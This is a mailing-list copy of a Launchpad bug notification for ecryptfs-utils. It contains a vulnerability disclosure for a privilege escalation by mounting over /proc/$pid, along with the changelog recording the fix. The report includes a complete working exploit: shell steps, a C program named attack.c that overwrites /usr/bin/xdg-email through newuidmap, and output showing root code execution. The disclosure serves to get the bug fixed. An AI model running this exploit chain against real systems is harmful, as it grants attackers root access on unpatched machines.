group.of.nepali.translators team mailing list archive
-
group.of.nepali.translators team
-
Mailing list archive
-
Message #00003
[Bug 1530566] Re: privilege escalation by mounting over /proc/$pid
This bug was fixed in the package ecryptfs-utils - 109-0ubuntu1
---------------
ecryptfs-utils (109-0ubuntu1) xenial; urgency=medium
[ Maikel ]
* doc/manpage/ecryptfs-migrate-home.8: Fix typos in man page (LP: #1518787)
[ Kylie McClain ]
* src/utils/mount.ecryptfs.c, src/utils/mount.ecryptfs_private.c: Fix build
issues on musl libc (LP: #1514625)
[ Colin Ian King ]
* src/daemon/main.c:
- Static analysis with Clang's scan-build shows that we can potentially
overflow the input buffer if the input is equal or more than the buffer
size. Need to guard against this by:
1. Only reading in input_size - 1 chars
2. Checking earlier on to see if input_size is value to insure that we
read in at least 1 char
[ Tyler Hicks ]
* src/utils/mount.ecryptfs_private.c:
- Refuse to mount over non-standard filesystems. Mounting over
certain types filesystems is a red flag that the user is doing
something devious, such as mounting over the /proc/self symlink
target with malicious content in order to confuse programs that may
attempt to parse those files. (LP: #1530566)
[ Dustin Kirkland ]
* xenial
-- Dustin Kirkland <kirkland@xxxxxxxxxx> Fri, 22 Jan 2016 10:05:35
-0600
** Changed in: ecryptfs-utils (Ubuntu Xenial)
Status: Triaged => Fix Released
--
You received this bug notification because you are a member of नेपाली
भाषा समायोजकहरुको समूह, which is subscribed to Xenial.
Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1530566
Title:
privilege escalation by mounting over /proc/$pid
Status in eCryptfs:
Fix Committed
Status in ecryptfs-utils package in Ubuntu:
Fix Released
Status in ecryptfs-utils source package in Precise:
Fix Released
Status in ecryptfs-utils source package in Trusty:
Fix Released
Status in ecryptfs-utils source package in Vivid:
Fix Released
Status in ecryptfs-utils source package in Wily:
Fix Released
Status in ecryptfs-utils source package in Xenial:
Fix Released
Bug description:
An unprivileged user can mount an ecryptfs over /proc/$pid because
according to stat(), it is a normal directory and owned by the user.
However, the user is not actually permitted to create arbitrary
directory entries in /proc/$pid, and ecryptfs' behavior might be
enabling privilege escalation attacks with the help of other programs
that use procfs.
Repro:
On Ubuntu 15.10 Desktop, as root, install ecryptfs-utils and uidmap.
Then, as user, do this:
==============================================================================
user2@user-VirtualBox:~$ ecryptfs-setup-private
Enter your login passphrase [user2]:
Enter your mount passphrase [leave blank to generate one]:
Enter your mount passphrase (again):
************************************************************************
YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION.
ecryptfs-unwrap-passphrase ~/.ecryptfs/wrapped-passphrase
THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME.
************************************************************************
Done configuring.
Testing mount/write/umount/read...
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Testing succeeded.
Logout, and log back in to begin using your encrypted directory.
user2@user-VirtualBox:~$ echo "/home/user2/.Private /proc/$$ ecryptfs none 0 0" > .ecryptfs/evil.conf
user2@user-VirtualBox:~$ cp .ecryptfs/Private.sig .ecryptfs/evil.sig
user2@user-VirtualBox:~$ sed 's|/sbin/mount\.ecryptfs_private|\0 evil|' < /usr/bin/ecryptfs-mount-private > /tmp/foo
user2@user-VirtualBox:~$ chmod +x /tmp/foo
user2@user-VirtualBox:~$ /tmp/foo
Enter your login passphrase:
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
user2@user-VirtualBox:~$ ln -s /etc/hostname /proc/$$/uid_map
user2@user-VirtualBox:~$ newuidmap $$ 0 1001 1
user2@user-VirtualBox:~$ cat /etc/hostname
0 1001 1
ualBox
==============================================================================
As you can see, the start of /etc/hostname was clobbered with
attacker-controlled content.
Now the interesting part comes: We can only write lines with numbers, and only starting at the start of files, so how does this yield code exec? :D
Bash has an interesting behavior when invoking executable files: If the kernel doesn't recognize a file, bash will try to run it as a shellscript. And then, if that shellscript contains a spew of invalid commands, bash will just keep going (and spit out error messages) until it hits a valid command. When it sees a single line with a valid command, it'll run it, no matter what comes after that. And therefore, this works (after the same preparation as above):
$ grep -bo '/tmp/.*' /usr/bin/xdg-email
4721:/tmp/logo.png \
We need 4721 bytes padding.
"0 1001 1\n" is 9 bytes long, we use it until the remaining padding is a multiple of 10. Every use increments the last digit by one, so we use it 9 times. The remaining padding is 4721-9*9=4640 bytes, which we can fill using 464 times "10 1001 1\n", which is 10 bytes long.
$ rm /proc/$$/uid_map # if it still exists from the last part
$ ln -s /usr/bin/xdg-email /proc/2468/uid_map
$ cat attack.c
#include <err.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv_in) {
if (argc != 3)
errx(1, "bad invocation, want ./attack <pid> <myuid>");
char *pid = argv_in[1];
char *myuid = argv_in[2];
if (strlen(myuid) != 4)
errx(1, "bad uid");
int pad10_count = 464;
int pad9_count = 9;
int total_count = pad10_count + pad9_count;
char *argv[1 + 1 + 3 * total_count + 1];
argv[0] = "newuidmap";
argv[1] = pid;
int j = 2;
for (int i=0; i<pad10_count; i++) {
argv[j++] = "10";
argv[j++] = "1001";
argv[j++] = "1";
}
for (int i=0; i<pad9_count; i++) {
argv[j++] = "1";
argv[j++] = "1001";
argv[j++] = "1";
}
argv[j++] = NULL;
execvp("newuidmap", argv);
err(1, "execvp");
}
$ gcc -o attack attack.c -Wall -std=gnu99
$ ./attack $$ 1001
$ echo -e '#!/bin/sh\necho "owned!"\nid\nkill -9 $PPID' > /tmp/logo.png
$ chmod +x /tmp/logo.png
And now as another user (or root):
lBox:/etc# xdg-email
/usr/bin/xdg-email: line 1: 10: command not found
/usr/bin/xdg-email: line 2: 10: command not found
[...]
/usr/bin/xdg-email: line 472: 1: command not found
/usr/bin/xdg-email: line 473: 1: command not found
owned!
uid=0(root) gid=0(root) groups=0(root)
Killed
Of course, this kind of modification doesn't work for most
executables, but it does work for some.
Another way to exploit this without newuidmap might be to confuse
polkit about the identity of a connecting process -
_polkit_unix_process_get_owner() contains code to determine the ruid
of a process by reading its /proc/$pid/status file. I didn't
investigate that much though, so I'm not sure whether that codepath is
actually used anywhere.
I'm not sure about what a proper fix for this would look like - maybe
just blacklist the dev_t of procfs when checking the result of
stat()ing the mountpoint and also require access(".", R_OK|W_OK|X_OK)
to be successful? Or you could do what FUSE does and prevent anyone
except for the user from accessing the mountpoint.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ecryptfs/+bug/1530566/+subscriptions